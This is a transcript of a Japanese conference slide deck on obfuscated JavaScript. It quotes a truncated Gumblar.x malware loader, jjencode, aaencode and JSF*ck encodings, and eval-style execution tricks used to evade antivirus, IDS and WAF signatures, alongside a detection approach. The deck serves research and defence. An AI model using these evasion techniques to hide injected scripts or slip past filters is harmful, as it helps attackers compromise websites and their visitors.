難読化 javascript
Post on 01-Jan-2016
86 Views
Preview:
DESCRIPTION
TRANSCRIPT
難読化 JavaScriptNetAgent Co.,Ltd.Yosuke HASEGAWA
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
韓国 POC2010
韓国最大のセキュリティカンファレンス 2010 年 12 月 14 日、 15 日 参加者 200 名くらい 海外からも有名スピーカー
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
韓国 POC2010
本題難読化 JavaScript
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の理由
圧縮の副作用としてアンチウイルスや IDS のシグネイ
チャ回避アンチデバッグ
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化:圧縮の副作用として
配信サイズの縮小Google Closure CompilerYahoo! YUI CompressorMicrosoft Ajax Minifier
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化:圧縮の副作用として
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化:圧縮の副作用として
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化:圧縮の副作用として
圧縮された JavaScript のデバッグdeminify ツールはいろいろFiddler で deminified JS を返すWeb ブラウザのデバッガで解析
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化:シグネイチャの回避
パターンマッチの回避が目的容易に亜種を生成「解析のしにくさ」は副次的 ?Gumblar 、 Gumblar.x など
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化 : Gumblar.x<script>/*GNU GPL*/ try{window.onload = function(){ var If0y2m9d6n3gx = document.createElement( 's)(c&&r&i@&$p(t))@&@....' .replace( /&|\(|@|#|\!|\$|\^|\)/ig, '')); If0y2m9d6n3gx.setAttribute('type', 't$&&^e$)#x@(#@t^/^@#)j&^@a$!&^)v$a(!$!s $$$c^r@))i$@p^@)t^!!$' .replace(/&|#|\)|\!|@|\^|\$|\(/ig, '')); If0y2m9d6n3gx.setAttribute('src', 'h&(t##t(^@p&$$:#@^/$)($/#!) … (.@c)o!$$m!!(/(' .replace(/\$|#|\^|@|\(|&|\)|\!/ig, ''));
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化: Gumblar
文字列リテラルに記号を挿入 ‘ 文 $ 字 #% 列’ .replace( / 記号 /, '' );機械的に生成可能
変数名が長いvar If0y2m9d6n3gx, Jydcftfn0k ;英数字のみ ?
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化 : Gumblar.x
パターンマッチでない検出アプローチ
文字の出現頻度a-zA-Z0-9 と &#)!@^$( の割合
Gumblar : 30% - 55%jQuery : 87%Twitter : 88%
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化:シグネイチャの回避
特定サイトの WAF/IDS の回避が目的一撃必殺 ? 一期一会 ?亜種の生成は不要あまり知りません ^^;
最終的には <script> <iframe> などを挿入
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化 : アンチデバッグ
解析しにくいコードブラウザ依存でも可 ?趣味の世界
jjencode, aaencode, JSF*ck
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
jjencode$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",\\"+$.$__+$.___+"\\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\")"+"\"")())();
http://utf-8.jp/public/jjencode.html
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
aaencode゚ ω ゚ノ = / `m ´ )ノ ~ //*´┻━┻ ∇ ` */ ['_']; o=( ゚ー゚ ) =_=3; c=( ゚ Θ ゚ ) =( ゚ー゚ )-( ゚ー゚ ); ( ゚ Д ゚ ) =( ゚ Θ ゚ )= (o^_^o)/ (o^_^o);( ゚ Д ゚ )={ ゚ Θ ゚ : '_' , ゚ω ゚ノ : (( ゚ ω ゚ノ ==3) +'_') [ ゚ Θ ゚ ] , ゚ー゚ノ :( ゚ ω ゚ノ + '_')[o^_^o -( ゚Θ ゚ )] , ゚ Д ゚ノ :(( ゚ー゚ ==3) +'_')[ ゚ー゚ ] }; ( ゚ Д ゚ ) [ ゚ Θ ゚ ] =(( ゚ ω ゚ノ ==3) +'_') [c^_^o];( ゚ Д ゚ ) ['c'] = (( ゚ Д ゚ )+'_') [ ( ゚ー゚ )+( ゚ー゚ )-( ゚ Θ ゚ ) ];( ゚ Д ゚ ) ['o'] = (( ゚ Д ゚ )+'_') [ ゚ Θ ゚ ];( ゚ o ゚ )=( ゚ Д ゚ ) ['c']+( ゚ Д ゚ ) ['o']+( ゚ ω ゚ノ +'_')[ ゚ Θ ゚ ]+ (( ゚ ω ゚ノ ==3) +'_') [ ゚ー゚ ] + (( ゚ Д ゚ ) +'_') [( ゚ー゚ )+( ゚ー゚ )]+ (( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ]+(( ゚ー゚ ==3) +'_') [( ゚ー゚ ) - ( ゚ Θ ゚ )]+( ゚ Д ゚ ) ['c']+(( ゚ Д ゚ )+'_') [( ゚ー゚ )+( ゚ー゚ )]+ ( ゚ Д ゚ ) ['o']+(( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ];( ゚Д ゚ ) ['_'] =(o^_^o) [ ゚ o ゚ ] [ ゚ o ゚ ];( ゚ ε ゚ )=(( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ]+ ( ゚Д ゚ ) . ゚ Д ゚ノ +(( ゚ Д ゚ )+'_') [( ゚ー゚ ) + ( ゚ー゚ )]+(( ゚ー゚ ==3) +'_') [o^_^o - ゚Θ ゚ ]+(( ゚ー゚ ==3) +'_') [ ゚ Θ ゚ ]+ ( ゚ ω ゚ノ +'_') [ ゚ Θ ゚ ]; ( ゚ー゚ )+=( ゚ Θ ゚ ); ( ゚Д ゚ )[ ゚ ε ゚ ]='\\'; ( ゚ Д ゚ ). ゚ Θ ゚ノ =( ゚ Д ゚ + ゚ー゚ )[o^_^o -( ゚ Θ ゚ )];(o ゚ー゚o)=( ゚ ω ゚ノ +'_')[c^_^o];( ゚ Д ゚ ) [ ゚ o ゚ ]='\"';( ゚ Д ゚ ) ['_'] ( ( ゚ Д ゚ ) ['_'] ( ゚ε ゚ +( ゚ Д ゚ )[ ゚ o ゚ ]+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ( ゚ー゚ )+ ( ゚ Θ ゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ (( ゚ー゚ ) + ( ゚ Θ ゚ ))+ ( ゚ー゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ( ゚ー゚ )+ (( ゚ー゚ ) + ( ゚ Θ ゚ ))+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ((o^_^o) +(o^_^o))+ ((o^_^o) - ( ゚ Θ ゚ ))+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+( ゚ Θ ゚ )+ ((o^_^o) +(o^_^o))+ ( ゚ー゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+(( ゚ー゚ ) + ( ゚ Θ ゚ ))+ (c^_^o)+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+((o^_^o) +(o^_^o))+ ( ゚ Θ ゚ )+ ( ゚ Д ゚ )[ ゚ ε ゚ ]+(( ゚ー゚ ) + ( ゚ Θ ゚ ))+ ( ゚ Θ ゚ )+ ( ゚ Д ゚ )[ ゚ o ゚ ]) ( ゚ Θ ゚ )) ('_');
http://utf-8.jp/public/aaencode.html
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
JSF*ck(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+!+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
http://utf-8.jp/public/jsfuck.html
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
jjencode による攻撃
http://www.malwaredomainlist.com/forums/index.php?topic=4354.0
http://extraexploit.blogspot.com/2010/10/dollars-javascript-code-yet-another.html
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
jjencode による攻撃
現実的には攻撃には不向き亜種の生成が困難IE7 以下で動作しない「エンコード」なのでデコードが簡
単文字種から容易に検出可能
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法いろいろ
変数の使いまわし、ロジックの裁断ヘタクソなプログラムと一緒
単純にノイズを埋め込むJavaScript の柔軟性を利用
window["alert"](1)eval("alert(1)")
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : 数値の生成
数値を使わないコードの記述が可能に数値でないものに演算子を適用
"2" * "3" // 6+[] -~NaN // 0 - -1 == 1""^"" // 0 xor 0 == 0
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : 論理値の生成
true / false を直接記述しないコードが可能に
論理値でないものに論理演算子を適用![] // false""=='' // true[]<{} // true
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : 文字列の生成
8 進数、 16 進数で表記"\101\x42"
JS or ブラウザのエスケープ関数unescape("%41%42")String.fromCharCode(0x41,0x42)atob("QUI=")
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : 文字列の生成
文字列でないものに文字列演算子を適用で、 string にキャスト{}+"" //"[object Object]"[]+![] // "false"[]["$"]+"" // "undefined"
配列形式で 1 文字取り出し([]+![])[ 0 ] // 'f'
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : 文字列の操作
文字の切り出し"abcd"[ 0 ]
引用符を使わないリテラル文字列/ABCD/.source // 正規表現<>ABCD</> // E4X FF
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : 文字列の操作
文字の連結"A".concat("B")["A","B"].join().replace(/,/g,"")<>{"A"}{"B"}</a> // E4X FF
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : 文字列を実行
DOM 経由write("<script>...</script>")
JS 内で evaleval( "alert(1)" )
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : 文字列を実行
eval 相当の機能setTimeout("alert(1)", 0 )Function("alert(1)")()Number.constructor("alert(1)")()execScript("alert(1)", "jscript") //IE
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : 文字列を実行
eval 相当の機能crypto.generateCRMFRequest(
'CN=0', 0, 0, null,'alert(1)',384,null,'rsa-dual-use') //
FFexecScript(
"#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@","jscript.encode") // IE
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : window の取得
window["alert"](1)window["eval"]("alert(1)")
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : window の取得
window, self, this, top, parentx=''.split,x(null)Date.constructor('return this')()(0,[].sort)()
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : 将来…
ブラウザ依存の積極的活用主ターゲットを絞る、ブラウザごと
に違う exploit 等アンチデバッガ
WebWorkers が利用可能
INNOVATION TO THE FUTURE NetAgent Co., Ltd.
参考資料
Our Favorite XSS Filters/IDS and how to Attack Themhttp://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf
JavaScript From Hellhttp://proidea.maszyna.pl/CONFidence09/2/CONFidence2009_mario_heiderich.pdf
sla.ckers.org web application security forum :: XSS Infohttp://sla.ckers.org/forum/list.php?2
sla.ckers.org web application security forum :: Obfuscationhttp://sla.ckers.org/forum/list.php?24
top related